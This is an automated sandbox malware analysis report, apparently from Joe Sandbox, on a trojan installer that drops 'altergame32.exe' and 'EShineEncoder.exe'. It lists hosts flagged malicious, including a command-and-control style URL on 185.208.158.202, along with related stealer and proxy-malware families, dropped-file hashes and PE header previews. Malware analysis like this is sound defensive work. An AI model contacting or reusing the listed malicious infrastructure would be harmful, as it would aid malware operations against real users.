https://www.easycutstudio.com/support.html	NqISs1vOr.exe, 00000002.00000003.1901672648.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.exe, 00000002.00000003.1901741426.0000000002181000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.exe, 00000002.00000002.3047882008.0000000002181000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000003.1904023339.00000000030F0000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000002.3047892256.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000003.1904097648.0000000002228000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000002.3048327976.0000000002228000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82d	altergame32.exe, 00000006.00000002.3047839093.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.forum.freecommander.com/viewtopic.php?f=6&t=775	altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.156.72.65	unknown	Russian Federation	44636	ITDELUXE-ASRU	true
185.208.158.202	boietuj.com	Switzerland	34888	SIMPLECARRER2IT	true
89.105.201.183	unknown	Netherlands	24875	NOVOSERVE-ASNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559044
Start date and time:	2024-11-20 05:01:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@16/40@1/3
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 92% Number of executed functions: 202 Number of non-executed functions: 264
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:02:59	API Interceptor	115x Sleep call for process: altergame32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.156.72.65	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse	185.156.72.65/toload/mixtwo.exe
185.208.158.202	i7j22nof2Q.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	gxjIKuKnu7.exe	Get hash	malicious	Socks5Systemz	Browse
	OFjT8HmzFJ.exe	Get hash	malicious	Socks5Systemz	Browse
	BJqvg1iEdr.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse
	G4G14X6zxY.exe	Get hash	malicious	Socks5Systemz	Browse
89.105.201.183	OFjT8HmzFJ.exe	Get hash	malicious	Socks5Systemz	Browse	404
	N6jsQ3XNNX.exe	Get hash	malicious	Socks5Systemz	Browse	200
	cv viewer plugin 8.31.40.exe	Get hash	malicious	Socks5Systemz	Browse	200

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SIMPLECARRER2IT	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	185.208.158.251
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	185.196.8.68
	i7j22nof2Q.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.208.158.202
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	file.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	http://www.intelliclicksoftware.net/clicktrack2/click.aspx?ActionType=CreateHistory&CustomerID=GM-CSATRANS&ParentRecordID=&Campaign=Thank%20You%20For%20Your%20Business%20SR&Name=&Company=&Phone=&Email=&Subject=Click%20Through&WebNav=True&URL=http://johnvugrin.com	Get hash	malicious	HTMLPhisher	Browse	185.196.8.148
	gxjIKuKnu7.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	https://www.imap.ne.jp/banner_click/add/20/1/?a&url=http://uniteseoul.com	Get hash	malicious	HTMLPhisher	Browse	185.208.158.9
NOVOSERVE-ASNL	i7j22nof2Q.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	89.105.201.183
	file.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	gxjIKuKnu7.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	OFjT8HmzFJ.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	BJqvg1iEdr.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	89.105.201.183
	G4G14X6zxY.exe	Get hash	malicious	Socks5Systemz	Browse	89.105.201.183
ITDELUXE-ASRU	file.exe	Get hash	malicious	Nymaim	Browse	185.156.72.65
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse	185.156.72.65
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.156.72.65
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Socks5Systemz, Stealc, Vidar	Browse	185.156.72.65
	p0w4g3KGU3.exe	Get hash	malicious	SmokeLoader	Browse	185.156.72.78
	pdf.js	Get hash	malicious	SmokeLoader	Browse	185.156.72.78
	09.09.2024p.pdf.js	Get hash	malicious	SmokeLoader	Browse	185.156.72.78
	https://expertpromotions.ru/ukr-net/google/drive/file/832946456397563875683478498385685634984983469239/%D0%9F%D0%BB%D0%B0%D1%82%D0%B5%D0%B6%D0%BD%D0%BE%D0%B5_%D0%BF%D0%BE%D1%80%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_i%D0%BD%D0%BE%D0%B7%D0%B5%D0%BD%D0%BE%D0%B9_%D0%B2%D0%B0%D0%BB%D1%8E%D1%82%D0%B5.rar	Get hash	malicious	Unknown	Browse	185.156.72.78
	svc.exe	Get hash	malicious	SmokeLoader	Browse	185.156.72.78
	2000 EUR.doc	Get hash	malicious	SmokeLoader	Browse	185.156.72.78

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\EShineEncoder\sqlite3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse
	IrAr85Qv7X.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	8BQ2v9glrG.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	BBiIn5gqhd.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	gacut_837143941.exe	Get hash	malicious	Unknown	Browse
	WTsvUl9X8N.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	PmX1jHdUnS.exe	Get hash	malicious	Oski Stealer, Vidar	Browse

Created / dropped Files

C:\ProgramData\EShineEncoder\EShineEncoder.exe

Download File

Process:	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4255772
Entropy (8bit):	6.21828901245533
Encrypted:	false
SSDEEP:	49152:rVe7nTYqtRIsJOMDeP3qnfEFqb+O8EC56FLSY9xAVYyyilII:JQROSGqEEC5sWCyaPilv
MD5:	C1DEEF6663EFF952E8990193B3452A2F
SHA1:	A091D2760CF44430E4B5DF078037D6F909463A9D
SHA-256:	232A78BB3A68FDDB2E746BE40125944BBD7AA1B119188520A2ABB0841F5BD027
SHA-512:	84E41F84C48A217D40CC12ADDF8B56B9E2D09A65FC24CCA3CE59EAA2B5D50031059C93D9CC8D480C5F2CA9C967BE64C44080D8A874BD853D060BA5CCD6E9538E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L....n.L............................L.............@..........................PA.....B.A.....................................l............_.........................................................................................................._qrsa_4............................. ..`_qrsb_4..*.......,..................@..@_qrsc_4..c...@...0...(..............@....rsrc....`.......`...X..............@..@_qrsd_4..:...."..8....!.............`...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EShineEncoder\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: OXrZ6fj4Hq.exe, Detection: malicious, Browse Filename: IrAr85Qv7X.exe, Detection: malicious, Browse Filename: 8BQ2v9glrG.exe, Detection: malicious, Browse Filename: BBiIn5gqhd.exe, Detection: malicious, Browse Filename: gacut_837143941.exe, Detection: malicious, Browse Filename: WTsvUl9X8N.exe, Detection: malicious, Browse Filename: PmX1jHdUnS.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\ProgramData\es1115it43.dat

Download File

Process:	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:YC/lln:vXn
MD5:	94BDFB9D097CEE9404D361DBC089DAC8
SHA1:	6E0193957EE374472E156774CDDD2ECBBC53D76F
SHA-256:	0FEE2C7FCA72F8D47690D4575BCC3067D678A5053A081E07AF2B766F0AD38802
SHA-512:	04A6E9F7ADFDE696E539CEEA55BFD14FE32EE6646478F427B66F720E8B2A3E9470E58C04CBD192D6803276C0062AD2AB4209D0C135795C8053DCF6088681B652
Malicious:	false
Reputation:	low
Preview:	._=g....

C:\ProgramData\es1115rc43.dat

Download File

Process:	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:yln:2n
MD5:	9A30CB647A6BDD7B520EE3A072881D16
SHA1:	5DC0E1CF689CB31A6C529DC8DDB9D677123E97F7
SHA-256:	0AB677189BBD88D8D69ABCEB88946F32A36333B36D4E75CB1AE69EF3C4CF1FC2
SHA-512:	152D87A8A4E15495F498F2BC2D24D07A7F38837D96846DA412BE5C0C44FE4F9BB803C3E7F0ADCCF801DCB392D7113011052E52048337EC1A6ADE15576BAB9DB6
Malicious:	false
Preview:	G...

C:\ProgramData\es1115resa.dat

Download File

Process:	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\es1115resb.dat

Download File

Process:	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.7095628900165245
Encrypted:	false
SSDEEP:	3:LDXdQSWBdMUE/:LLdQSGd
MD5:	4FFFD4D2A32CBF8FB78D521B4CC06680
SHA1:	3FA6EFA82F738740179A9388D8046619C7EBDF54
SHA-256:	EC52F73A17E6AFCF78F3FD8DFC7177024FEB52F5AC2B602886788E4348D5FB68
SHA-512:	130A074E6AD38EEE2FB088BED2FCB939BF316B0FCBB4F5455AB49C2685BEEDCB5011107A22A153E56BF5E54A45CA4801C56936E71899C99BA9A4F694A1D4CC6D
Malicious:	false
Preview:	dad6f9fa0c8327344d1aa24f183c3767................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\AlterGame.chm (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	78183
Entropy (8bit):	7.692742945771669
Encrypted:	false
SSDEEP:	1536:Bkt2SjEQ3r94YqwyadpL1X6Dtn4afF1VowWb8ZmmUQNk3gNqCLbMsFxJse8hbpmn:mR/CYj9dp5XIyI2b/mY3gNjLbMsOaP
MD5:	B1B9E6D43319F6D4E52ED858C5726A97
SHA1:	5033047A30CCCF57783C600FD76A6D220021B19D
SHA-256:	8003A4A0F9F5DFB62BEFBF81F8C05894B0C1F987ACFC8654A6C6CE02B6213910
SHA-512:	E56D6EC9170DEBAC28BB514942F794F73D4C194D04C54EFF9227B6EE3C74BA4FCF239FFF0BB6556DC8B847FA89D382AF206A2C481C41A3510936B0A74192D2C2
Malicious:	false
Preview:	ITSF....`..........E.......\|.{.......".....\|.{......."..`...............x.......T.......................g1..............ITSP....T...........................................j..].!......."..T...............PMGLW................/..../#IDXHDR...F.../#ITBITS..../#IVB...N$./#STRINGS.....P./#SYSTEM..N.'./#TOPICS...F.0./#URLSTR...:.t./#URLTBL...v.D./$FIftiMain......1./$OBJINST...z.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...v../$WWKeywordLinks/..../$WWKeywordLinks/Property...r../After.jpg...4..../Auto-.hhc...^./Auto-Adjustment.htm....?./Auto-BleachTeeth.htm...z.3./Auto-Crop2Plus.htm..U.j./Auto-Emphasis.htm...w.V./Auto-EyeColor.htm...!.../Auto-EyePencil.htm..._.../Auto-EyeShadow.htm...,.3./Auto-GettingStarted.htm....Q./Auto-Lipstick.htm..R.M./Auto-Liquify.htm...-.v./Auto-Menu.htm..S.r./Auto-OrderingInformation.htm...Q.../Auto-Overview.htm..^.$./Auto-Powder.htm......./Auto-Resize.htm..s.b./Auto-Rotation.htm..?.e./Auto-Rouge.htm...=.d./Auto-SkinCare.htm...\|.{./Auto-SmartPatchCosmet

C:\Users\user\AppData\Local\AlterGame 1.13\LTDIS13n.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	265728
Entropy (8bit):	6.4472652154517345
Encrypted:	false
SSDEEP:	6144:Fs7u3JL96d15Y2BmKh678IuYAhN3YCjlgiZioXyLWvCe93rZ5WZOlUmpNJ5mlbb/:e7WJL96d15Y2BmKh678IuYAhN3YCjlgw
MD5:	752CA72DE243F44AF2ED3FF023EF826E
SHA1:	7B508F6B72BD270A861B368EC9FE4BF55D8D472F
SHA-256:	F8196F03F8CBED87A92BA5C1207A9063D4EEBB0C22CA88A279F1AE1B1F1B8196
SHA-512:	4E5A7242C25D4BBF9087F813D4BF057432271A0F08580DA8C894B7C290DE9E0CF640F6F616B0B6C6CAD14DC0AFDD2697D2855BA4070270824540BAE835FE8C4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..=...........!................`;.......................................P.......................'..............p...o.......d.... .......................0..\.......................................................4............................text...k........................... ..`.rdata..............................@..@.data....9.......0..................@....idata..............................@....rsrc........ ......................@..@.reloc..T....0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	4255772
Entropy (8bit):	6.21828901245533
Encrypted:	false
SSDEEP:	49152:rVe7nTYqtRIsJOMDeP3qnfEFqb+O8EC56FLSY9xAVYyyilII:JQROSGqEEC5sWCyaPilv
MD5:	C1DEEF6663EFF952E8990193B3452A2F
SHA1:	A091D2760CF44430E4B5DF078037D6F909463A9D
SHA-256:	232A78BB3A68FDDB2E746BE40125944BBD7AA1B119188520A2ABB0841F5BD027
SHA-512:	84E41F84C48A217D40CC12ADDF8B56B9E2D09A65FC24CCA3CE59EAA2B5D50031059C93D9CC8D480C5F2CA9C967BE64C44080D8A874BD853D060BA5CCD6E9538E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L....n.L............................L.............@..........................PA.....B.A.....................................l............_.........................................................................................................._qrsa_4............................. ..`_qrsb_4..*.......,..................@..@_qrsc_4..c...@...0...(..............@....rsrc....`.......`...X..............@..@_qrsd_4..:...."..8....!.............`...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\bjpeg23.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	176128
Entropy (8bit):	6.204917493416147
Encrypted:	false
SSDEEP:	3072:l9iEoC1+7N9UQV2Mi8NTUU3/EO3h3E9y6GeoPRtsoWhi75MUbvSHQ:l+ssU62Mi8x9P/UVGeQRthMUbvS
MD5:	FEC4FF0C2967A05543747E8D552CF9DF
SHA1:	B4449DC0DF8C0AFCC9F32776384A6F5B5CEDE20C
SHA-256:	5374148EBCF4B456F8711516A58C9A007A393CA88F3D9759041F691E4343C7D6
SHA-512:	93E3F48CD393314178CBC86F6142D577D5EAAE52B47C4D947DBA4DFB706860B150FF5B0E546CB83114CA44666E9DF6021964D79D064B775A58698DAA9550EF13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+0.J^..J^..J^.cE...J^..VR..J^..UU..J^.#VP..J^..UT..J^..UZ..J^..kU..J^..kZ..J^..J_..J^..iT..J^..io..J^.gLX..J^._jZ..J^.Rich.J^.................PE..L.....L...........!.....0...@.......'.......@...................................................................... e..k....X..d....`.......................p..p....................................................@...............................text....".......0.................. ..`.rdata...%...@...0...@..............@..@.data...T....p... ...p..............@....rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\gdiplus.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1645320
Entropy (8bit):	6.787752063353702
Encrypted:	false
SSDEEP:	24576:Fk18V2mHkfIE3Ip9vkWEgDecZV3W9kpOuRw8RhWd5Ixwzr6lOboU7j97S9D+z98v:FZNkf+uW3D1ZVG9kVw8I5Rv6lwH9+X
MD5:	871C903A90C45CA08A9D42803916C3F7
SHA1:	D962A12BC15BFB4C505BB63F603CA211588958DB
SHA-256:	F1DA32183B3DA19F75FA4EF0974A64895266B16D119BBB1DA9FE63867DBA0645
SHA-512:	985B0B8B5E3D96ACFD0514676D9F0C5D2D8F11E31F01ACFA0F7DA9AF3568E12343CA77F541F55EDDA6A0E5C14FE733BDA5DC1C10BB170D40D15B7A60AD000145
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s...7o..7o..7o...L..<o..7o..en...L..$o...L...o...L..6o...L..6o...L..(n...L..6o..Rich7o..................PE..L.....D@...........!.........`.......Q.......`.....p................................................................l...CN..\|...x....p...........................s.....8...............................................0............................text...n........................... ..`.data...X...........................@...Shared.......`.......P..............@....rsrc........p... ...`..............@..@.reloc...s..........................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\is-28G11.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1645320
Entropy (8bit):	6.787752063353702
Encrypted:	false
SSDEEP:	24576:Fk18V2mHkfIE3Ip9vkWEgDecZV3W9kpOuRw8RhWd5Ixwzr6lOboU7j97S9D+z98v:FZNkf+uW3D1ZVG9kVw8I5Rv6lwH9+X
MD5:	871C903A90C45CA08A9D42803916C3F7
SHA1:	D962A12BC15BFB4C505BB63F603CA211588958DB
SHA-256:	F1DA32183B3DA19F75FA4EF0974A64895266B16D119BBB1DA9FE63867DBA0645
SHA-512:	985B0B8B5E3D96ACFD0514676D9F0C5D2D8F11E31F01ACFA0F7DA9AF3568E12343CA77F541F55EDDA6A0E5C14FE733BDA5DC1C10BB170D40D15B7A60AD000145
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s...7o..7o..7o...L..<o..7o..en...L..$o...L...o...L..6o...L..6o...L..(n...L..6o..Rich7o..................PE..L.....D@...........!.........`.......Q.......`.....p................................................................l...CN..\|...x....p...........................s.....8...............................................0............................text...n........................... ..`.data...X...........................@...Shared.......`.......P..............@....rsrc........p... ...`..............@..@.reloc...s..........................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\is-85EG4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	data
Category:	dropped
Size (bytes):	4255772
Entropy (8bit):	6.21828878301341
Encrypted:	false
SSDEEP:	49152:GVe7nTYqtRIsJOMDeP3qnfEFqb+O8EC56FLSY9xAVYyyilII:cQROSGqEEC5sWCyaPilv
MD5:	B369E8685C117CBD527C775F2BB67A07
SHA1:	D04B1107DD1A49CCD1C73252CBE5C9C789AAE0CE
SHA-256:	081DB5D6609D54BDE700EAB1BA41B2341393E0B73AC87EC31A12B9C514D83F53
SHA-512:	D378E6C2DF4A7BBCC2F80D0B647C02BC1CC6727E226B4C8D0DB9F553D21DEE34E5C62DDA8B07AFD828E6A72BF89D3122C8A11C5D4DAFDA9C9A64C7D670F4BC09
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L....n.L............................L.............@..........................PA.....B.A.....................................l............_.........................................................................................................._qrsa_4............................. ..`_qrsb_4..*.......,..................@..@_qrsc_4..c...@...0...(..............@....rsrc....`.......`...X..............@..@_qrsd_4..:...."..8....!.............`...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\is-GSS65.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AlterGame 1.13\is-HKUEM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\AlterGame 1.13\is-NKP4B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	265728
Entropy (8bit):	6.4472652154517345
Encrypted:	false
